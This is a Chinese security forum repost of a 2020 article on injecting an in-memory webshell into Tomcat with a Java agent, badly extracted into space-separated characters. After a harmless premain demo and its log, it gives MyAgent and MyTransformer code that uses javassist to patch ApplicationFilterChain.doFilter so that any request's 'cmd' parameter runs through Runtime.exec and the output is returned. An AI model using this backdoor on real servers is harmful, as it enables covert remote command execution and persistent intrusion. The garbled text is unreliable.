[1125] 2020-09-30_JavaAgent实现反序列化注入内存shell

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-16
2020-09-30_JavaAgent实现反序列化注入内存shell J a v a   A g e n t s h e l l   Y 4 e r   C h a B u g   2 0 2 0 - 0 9 - 3 0 S H E L L J a v a s h e l l 1 .   s e r v l e t 2 .   f i l t e r 3 .   l i s t e n e r 4 .   J a v a   a g e n t s h e l l   J S P   W e b s h e l l   - -   ( ) h t t p s : / / m p . w e i x i n . q q . c o m / s / Y h i O H W n q X V q v L N H 7 X S x C 9 w     w e b l o g i c J A V A   A G E N T j d k r t . j a r   J a v a     C l a s s   使   J a v a a g e n t   J a v a   C l a s s   C l a s s J a v a a g e n t j a v a   j a v a a g e n t     j a r     j a v a   2 1 .     j a r         j a v a . l a n g . i n s t r u m e n t M A N I F E S T . M F
      p r e m a i n ( )   J V M a g e n t 西 a g e n t s r c         o r g                 c h a b u g                                 A g e n t . j a v a                                 D e f i n e T r a n s f o r m e r . j a v a o r g . c h a b u g . A g e n t . j a v a p a c k a g e   o r g . c h a b u g ; i m p o r t   j a v a . l a n g . i n s t r u m e n t . I n s t r u m e n t a t i o n ; p u b l i c   c l a s s   A g e n t   {         p u b l i c   s t a t i c   v o i d   p r e m a i n ( S t r i n g   a g e n t A r g s ,   I n s t r u m e n t a t i o n   i n s t )   {                 S y s t e m . o u t . p r i n t l n ( " a g e n t A r g s   :   "   +   a g e n t A r g s ) ;                 i n s t . a d d T r a n s f o r m e r ( n e w   D e f i n e T r a n s f o r m e r ( ) ,   t r u e ) ;         } } o r g . c h a b u g . D e f i n e T r a n s f o r m e r . j a v a p a c k a g e   o r g . c h a b u g ; i m p o r t   j a v a . l a n g . i n s t r u m e n t . C l a s s F i l e T r a n s f o r m e r ; i m p o r t   j a v a . l a n g . i n s t r u m e n t . I l l e g a l C l a s s F o r m a t E x c e p t i o n ; i m p o r t   j a v a . s e c u r i t y . P r o t e c t i o n D o m a i n ; p u b l i c   c l a s s   D e f i n e T r a n s f o r m e r   i m p l e m e n t s   C l a s s F i l e T r a n s f o r m e r   {         @ O v e r r i d e         p u b l i c   b y t e [ ]   t r a n s f o r m ( C l a s s L o a d e r   l o a d e r ,   S t r i n g   c l a s s N a m e ,   C l a s s < ? >   c l a s s B e i n g R e d e f i n e d ,   P r o t e c t i o n D o m a i n   p r o t e c t i o n D o m a i n ,   b y t e [ ]   c l a s s f i l e B u f f e r )   t h r o w s   I l l e g a l C l a s s F o r m a t E x c e p t i o n   {                 S y s t e m . o u t . p r i n t l n ( " p r e m a i n   l o a d   C l a s s : "   +   c l a s s N a m e ) ;                 r e t u r n   n e w   b y t e [ 0 ] ; P r e m a i n - C l a s s 2 .   P r e m a i n - C l a s s
        } } M a n i f e s t - V e r s i o n :   1 . 0 C a n - R e d e f i n e - C l a s s e s :   t r u e C a n - R e t r a n s f o r m - C l a s s e s :   t r u e P r e m a i n - C l a s s :   o r g . c h a b u g . A g e n t i d e a j a r a g e n t p a c k a g e   o r g . c h a b u g ; p u b l i c   c l a s s   M a i n   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 S y s t e m . o u t . p r i n t l n ( " t h i s i s m a i n " ) ;         } } i d e a v m s r c M E T A - I N F M A N I F E S T . M F o r g . c h a b u g . M a i n - j a v a a g e n t : o u t a r t i f a c t s T e s t A g e n t _ j a r T e s t A g e n t . j a r
a g e n t A r g s   :   n u l l p r e m a i n   l o a d   C l a s s : j a v a / u t i l / c o n c u r r e n t / C o n c u r r e n t H a s h M a p $ F o r w a r d i n g N o d e p r e m a i n   l o a d   C l a s s : s u n / m i s c / U R L C l a s s P a t h $ J a r L o a d e r $ 2 p r e m a i n   l o a d   C l a s s : j a v a / u t i l / j a r / A t t r i b u t e s p r e m a i n   l o a d   C l a s s : j a v a / u t i l / j a r / M a n i f e s t $ F a s t I n p u t S t r e a m p r e m a i n   l o a d   C l a s s : j a v a / l a n g / S t r i n g C o d i n g p r e m a i n   l o a d   C l a s s : j a v a / l a n g / S t r i n g C o d i n g $ S t r i n g D e c o d e r p r e m a i n   l o a d   C l a s s : j a v a / u t i l / j a r / A t t r i b u t e s $ N a m e p r e m a i n   l o a d   C l a s s : s u n / m i s c / A S C I I C a s e I n s e n s i t i v e C o m p a r a t o r p r e m a i n   l o a d   C l a s s : c o m / i n t e l l i j / r t / e x e c u t i o n / a p p l i c a t i o n / A p p M a i n V 2 $ A g e n t p r e m a i n   l o a d   C l a s s : c o m / i n t e l l i j / r t / e x e c u t i o n / a p p l i c a t i o n / A p p M a i n V 2 p r e m a i n   l o a d   C l a s s : c o m / i n t e l l i j / r t / e x e c u t i o n / a p p l i c a t i o n / A p p M a i n V 2 $ 1 p r e m a i n   l o a d   C l a s s : j a v a / l a n g / r e f l e c t / I n v o c a t i o n T a r g e t E x c e p t i o n p r e m a i n   l o a d   C l a s s : j a v a / l a n g / N o S u c h M e t h o d E x c e p t i o n p r e m a i n   l o a d   C l a s s : j a v a / n e t / S o c k e t p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t S o c k e t A d d r e s s p r e m a i n   l o a d   C l a s s : j a v a / n e t / S o c k e t A d d r e s s
p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t A d d r e s s p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t S o c k e t A d d r e s s $ I n e t S o c k e t A d d r e s s H o l d e r p r e m a i n   l o a d   C l a s s : s u n / s e c u r i t y / a c t i o n / G e t B o o l e a n A c t i o n p r e m a i n   l o a d   C l a s s : j a v a / l a n g / i n v o k e / M e t h o d H a n d l e I m p l p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t A d d r e s s $ 1 p r e m a i n   l o a d   C l a s s : j a v a / l a n g / i n v o k e / M e t h o d H a n d l e I m p l $ 1 p r e m a i n   l o a d   C l a s s : j a v a / l a n g / i n v o k e / M e t h o d H a n d l e I m p l $ 2 p r e m a i n   l o a d   C l a s s : j a v a / u t i l / f u n c t i o n / F u n c t i o n p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t A d d r e s s $ I n e t A d d r e s s H o l d e r p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t A d d r e s s $ C a c h e p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t A d d r e s s $ C a c h e $ T y p e p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t A d d r e s s I m p l F a c t o r y p r e m a i n   l o a d   C l a s s : j a v a / l a n g / i n v o k e / M e t h o d H a n d l e I m p l $ 3 p r e m a i n   l o a d   C l a s s : j a v a / l a n g / i n v o k e / M e t h o d H a n d l e I m p l $ 4 p r e m a i n   l o a d   C l a s s : j a v a / l a n g / C l a s s V a l u e p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t 6 A d d r e s s I m p l p r e m a i n   l o a d   C l a s s : j a v a / l a n g / C l a s s V a l u e $ E n t r y p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t A d d r e s s I m p l p r e m a i n   l o a d   C l a s s : j a v a / l a n g / C l a s s V a l u e $ I d e n t i t y p r e m a i n   l o a d   C l a s s : j a v a / l a n g / C l a s s V a l u e $ V e r s i o n p r e m a i n   l o a d   C l a s s : j a v a / l a n g / i n v o k e / M e m b e r N a m e $ F a c t o r y p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t A d d r e s s $ 2 p r e m a i n   l o a d   C l a s s : j a v a / l a n g / i n v o k e / M e t h o d H a n d l e S t a t i c s p r e m a i n   l o a d   C l a s s : s u n / n e t / s p i / n a m e s e r v i c e / N a m e S e r v i c e p r e m a i n   l o a d   C l a s s : j a v a / l a n g / i n v o k e / M e t h o d H a n d l e S t a t i c s $ 1 p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t 4 A d d r e s s p r e m a i n   l o a d   C l a s s : j a v a / n e t / S o c k s S o c k e t I m p l p r e m a i n   l o a d   C l a s s : j a v a / n e t / S o c k s C o n s t s p r e m a i n   l o a d   C l a s s : s u n / m i s c / P o s t V M I n i t H o o k p r e m a i n   l o a d   C l a s s : j a v a / n e t / P l a i n S o c k e t I m p l p r e m a i n   l o a d   C l a s s : s u n / m i s c / P o s t V M I n i t H o o k $ 2 p r e m a i n   l o a d   C l a s s : j a v a / n e t / A b s t r a c t P l a i n S o c k e t I m p l p r e m a i n   l o a d   C l a s s : j d k / i n t e r n a l / u t i l / E n v U t i l s p r e m a i n   l o a d   C l a s s : s u n / m i s c / P o s t V M I n i t H o o k $ 1 p r e m a i n   l o a d   C l a s s : j a v a / n e t / S o c k e t I m p l p r e m a i n   l o a d   C l a s s : j a v a / n e t / S o c k e t O p t i o n s
p r e m a i n   l o a d   C l a s s : s u n / u s a g e t r a c k e r / U s a g e T r a c k e r C l i e n t p r e m a i n   l o a d   C l a s s : j a v a / n e t / A b s t r a c t P l a i n S o c k e t I m p l $ 1 p r e m a i n   l o a d   C l a s s : j a v a / u t i l / c o n c u r r e n t / a t o m i c / A t o m i c B o o l e a n p r e m a i n   l o a d   C l a s s : s u n / u s a g e t r a c k e r / U s a g e T r a c k e r C l i e n t $ 1 p r e m a i n   l o a d   C l a s s : j a v a / n e t / P l a i n S o c k e t I m p l $ 1 p r e m a i n   l o a d   C l a s s : s u n / u s a g e t r a c k e r / U s a g e T r a c k e r C l i e n t $ 4 p r e m a i n   l o a d   C l a s s : s u n / m i s c / F l o a t i n g D e c i m a l p r e m a i n   l o a d   C l a s s : s u n / u s a g e t r a c k e r / U s a g e T r a c k e r C l i e n t $ 2 p r e m a i n   l o a d   C l a s s : s u n / m i s c / F l o a t i n g D e c i m a l $ E x c e p t i o n a l B i n a r y T o A S C I I B u f f e r p r e m a i n   l o a d   C l a s s : s u n / m i s c / F l o a t i n g D e c i m a l $ B i n a r y T o A S C I I C o n v e r t e r p r e m a i n   l o a d   C l a s s : s u n / u s a g e t r a c k e r / U s a g e T r a c k e r C l i e n t $ 3 p r e m a i n   l o a d   C l a s s : s u n / m i s c / F l o a t i n g D e c i m a l $ B i n a r y T o A S C I I B u f f e r p r e m a i n   l o a d   C l a s s : s u n / m i s c / F l o a t i n g D e c i m a l $ 1 p r e m a i n   l o a d   C l a s s : s u n / m i s c / F l o a t i n g D e c i m a l $ P r e p a r e d A S C I I T o B i n a r y B u f f e r p r e m a i n   l o a d   C l a s s : s u n / m i s c / F l o a t i n g D e c i m a l $ A S C I I T o B i n a r y C o n v e r t e r p r e m a i n   l o a d   C l a s s : s u n / m i s c / F l o a t i n g D e c i m a l $ A S C I I T o B i n a r y B u f f e r p r e m a i n   l o a d   C l a s s : j a v a / n e t / D u a l S t a c k P l a i n S o c k e t I m p l p r e m a i n   l o a d   C l a s s : j a v a / l a n g / S t r i n g C o d i n g $ S t r i n g E n c o d e r p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t 6 A d d r e s s p r e m a i n   l o a d   C l a s s : j a v a / i o / F i l e O u t p u t S t r e a m $ 1 p r e m a i n   l o a d   C l a s s : j a v a / n e t / I n e t 6 A d d r e s s $ I n e t 6 A d d r e s s H o l d e r p r e m a i n   l o a d   C l a s s : s u n / l a u n c h e r / L a u n c h e r H e l p e r p r e m a i n   l o a d   C l a s s : j a v a / n e t / S o c k s S o c k e t I m p l $ 3 p r e m a i n   l o a d   C l a s s : s u n / n i o / c s / M S 1 2 5 2 p r e m a i n   l o a d   C l a s s : j a v a / n e t / P r o x y S e l e c t o r p r e m a i n   l o a d   C l a s s : s u n / n i o / c s / S i n g l e B y t e p r e m a i n   l o a d   C l a s s : s u n / n e t / s p i / D e f a u l t P r o x y S e l e c t o r p r e m a i n   l o a d   C l a s s : s u n / n i o / c s / S i n g l e B y t e $ D e c o d e r p r e m a i n   l o a d   C l a s s : s u n / n e t / s p i / D e f a u l t P r o x y S e l e c t o r $ 1 p r e m a i n   l o a d   C l a s s : s u n / n e t / N e t P r o p e r t i e s p r e m a i n   l o a d   C l a s s : s u n / n e t / N e t P r o p e r t i e s $ 1 p r e m a i n   l o a d   C l a s s : o r g / c h a b u g / M a i n p r e m a i n   l o a d   C l a s s : s u n / l a u n c h e r / L a u n c h e r H e l p e r $ F X H e l p e r p r e m a i n   l o a d   C l a s s : j a v a / u t i l / P r o p e r t i e s $ L i n e R e a d e r p r e m a i n   l o a d   C l a s s : j a v a / l a n g / C l a s s $ M e t h o d A r r a y p r e m a i n   l o a d   C l a s s : j a v a / l a n g / V o i d
t h i s i s m a i n p r e m a i n   l o a d   C l a s s : j a v a / l a n g / S h u t d o w n p r e m a i n   l o a d   C l a s s : j a v a / n e t / U R I p r e m a i n   l o a d   C l a s s : j a v a / l a n g / S h u t d o w n $ L o c k a g e n t M a i n J V M s h e l l a g e n t j v m j a v a s s i s t t o m c a t f i l t e r 1 .   j a v a s s i s t   2 .   t o m c a t 3 .   t o m c a t 4 .   t o m c a t   f i l t e r s h e l l o r g . c h a b u g . A g e n t # p r e m a i n o r g . c h a b u g . D e f i n e T r a n s f o r m e r # t r a n s f o r m - j a v a a g e n t o r g . a p a c h e . c a t a l i n a . c o r e . A p p l i c a t i o n F i l t e r C h a i n # d o F i l t e r
S e r v l e t R e q u e s t S e r v l e t R e s p o n s e r e q u e s t r e s p o n s e i n t e r n a l D o F i l t e r f i l t e r f i l t e r a g e n t p a c k a g e   o r g . c h a b u g ; i m p o r t   j a v a . l a n g . i n s t r u m e n t . I n s t r u m e n t a t i o n ; p u b l i c   c l a s s   M y A g e n t   {         / /   t o m c a t   F i l t e r C h a i n         p u b l i c   s t a t i c   S t r i n g   C l a s s N a m e   =   " o r g . a p a c h e . c a t a l i n a . c o r e . A p p l i c a t i o n F i l t e r C h a i n " ;         p u b l i c   s t a t i c   v o i d   a g e n t m a i n ( S t r i n g   a r g s ,   I n s t r u m e n t a t i o n   i n s t )   t h r o w s   E x c e p t i o n   {                 i n s t . a d d T r a n s f o r m e r ( n e w   M y T r a n s f o r m e r ( ) ,   t r u e ) ;                 C l a s s [ ]   l o a d e d C l a s s e s   =   i n s t . g e t A l l L o a d e d C l a s s e s ( ) ;                 f o r   ( i n t   i   =   0 ;   i   <   l o a d e d C l a s s e s . l e n g t h ;   + + i )   {                         C l a s s   c l a z z   =   l o a d e d C l a s s e s [ i ] ;                         i f   ( c l a z z . g e t N a m e ( ) . e q u a l s ( C l a s s N a m e ) )   {                                 t r y   {
                                        i n s t . r e t r a n s f o r m C l a s s e s ( n e w   C l a s s [ ] { c l a z z } ) ;                                 }   c a t c h   ( E x c e p t i o n   v a r 9 )   {                                         v a r 9 . p r i n t S t a c k T r a c e ( ) ;                                 }                         }                 } / /                 S y s t e m . o u t . p r i n t l n ( " a g e n t   d o n e " ) ;         }         p u b l i c   s t a t i c   v o i d   p r e m a i n ( S t r i n g   a r g s ,   I n s t r u m e n t a t i o n   i n s t )   t h r o w s   E x c e p t i o n   {         } } t r a n s f o r m p a c k a g e   o r g . c h a b u g ; i m p o r t   j a v a s s i s t . * ; i m p o r t   j a v a . i o . I O E x c e p t i o n ; i m p o r t   j a v a . l a n g . i n s t r u m e n t . C l a s s F i l e T r a n s f o r m e r ; i m p o r t   j a v a . s e c u r i t y . P r o t e c t i o n D o m a i n ; p u b l i c   c l a s s   M y T r a n s f o r m e r   i m p l e m e n t s   C l a s s F i l e T r a n s f o r m e r   {         p u b l i c   s t a t i c   S t r i n g   C l a s s N a m e   =   " o r g . a p a c h e . c a t a l i n a . c o r e . A p p l i c a t i o n F i l t e r C h a i n " ;         @ O v e r r i d e         p u b l i c   b y t e [ ]   t r a n s f o r m ( C l a s s L o a d e r   l o a d e r ,   S t r i n g   c l a s s N a m e ,   C l a s s < ? >   a C l a s s ,   P r o t e c t i o n D o m a i n   p r o t e c t i o n D o m a i n ,   b y t e [ ]   c l a s s f i l e B u f f e r )   {                 c l a s s N a m e   =   c l a s s N a m e . r e p l a c e ( ' / ' ,   ' . ' ) ;                 i f   ( c l a s s N a m e . e q u a l s ( C l a s s N a m e ) )   { / /                         S y s t e m . o u t . p r i n t l n ( " : : : : : : : : : : : : : : : : : : : f i n d   s h i r o   A p p l i c a t i o n F i l t e r C h a i n : "   +   c l a s s N a m e ) ;                         C l a s s P o o l   c p   =   C l a s s P o o l . g e t D e f a u l t ( ) ;                         i f   ( a C l a s s   ! =   n u l l )   {                                 C l a s s C l a s s P a t h   c l a s s P a t h   =   n e w   C l a s s C l a s s P a t h ( a C l a s s ) ;                                 c p . i n s e r t C l a s s P a t h ( c l a s s P a t h ) ;                         }                         C t C l a s s   c c ;
                        t r y   {                                 c c   =   c p . g e t ( c l a s s N a m e ) ;                                 C t M e t h o d   m   =   c c . g e t D e c l a r e d M e t h o d ( " d o F i l t e r " ) ;                                 m . i n s e r t B e f o r e ( "   j a v a x . s e r v l e t . S e r v l e t R e q u e s t   r e q   =   r e q u e s t ; n "   +                                                 "                         j a v a x . s e r v l e t . S e r v l e t R e s p o n s e   r e s   =   r e s p o n s e ; "   +                                                 " S t r i n g   c m d   =   r e q . g e t P a r a m e t e r ( " c m d " ) ; n "   +                                                 " i f   ( c m d   ! =   n u l l )   { n "   +                                                 " P r o c e s s   p r o c e s s   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) ; n "   +                                                 " j a v a . i o . B u f f e r e d R e a d e r   b u f f e r e d R e a d e r   =   n e w   j a v a . i o . B u f f e r e d R e a d e r ( n "   +                                                 " n e w   j a v a . i o . I n p u t S t r e a m R e a d e r ( p r o c e s s . g e t I n p u t S t r e a m ( ) ) ) ; n "   +                                                 " S t r i n g B u i l d e r   s t r i n g B u i l d e r   =   n e w   S t r i n g B u i l d e r ( ) ; n "   +                                                 " S t r i n g   l i n e ; n "   +                                                 " w h i l e   ( ( l i n e   =   b u f f e r e d R e a d e r . r e a d L i n e ( ) )   ! =   n u l l )   { n "   +                                                 " s t r i n g B u i l d e r . a p p e n d ( l i n e   +   ' n ' ) ; n "   +                                                 " } n "   +                                                 " r e s . g e t O u t p u t S t r e a m ( ) . w r i t e ( s t r i n g B u i l d e r . t o S t r i n g ( ) . g e t B y t e s ( ) ) ; n "   +                                                 " r e s . g e t O u t p u t S t r e a m ( ) . f l u s h ( ) ; n "   +                                                 " r e s . g e t O u t p u t S t r e a m ( ) . c l o s e ( ) ; n "   +                                                 " } " ) ;                                 b y t e [ ]   b y t e C o d e   =   c c . t o B y t e c o d e ( ) ;                                 c c . d e t a c h ( ) ;                                 r e t u r n   b y t e C o d e ;                         }   c a t c h   ( N o t F o u n d E x c e p t i o n   |   I O E x c e p t i o n   |   C a n n o t C o m p i l e E x c e p t i o n   e )   {                                 e . p r i n t S t a c k T r a c e ( ) ; / /                                 S y s t e m . o u t . p r i n t l n ( " e r r o r : : : : : : : : : : : : : : : : : : : : : "   +   e . g e t M e s s a g e ( ) ) ;                         }                 }                 r e t u r n   n e w   b y t e [ 0 ] ;         }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则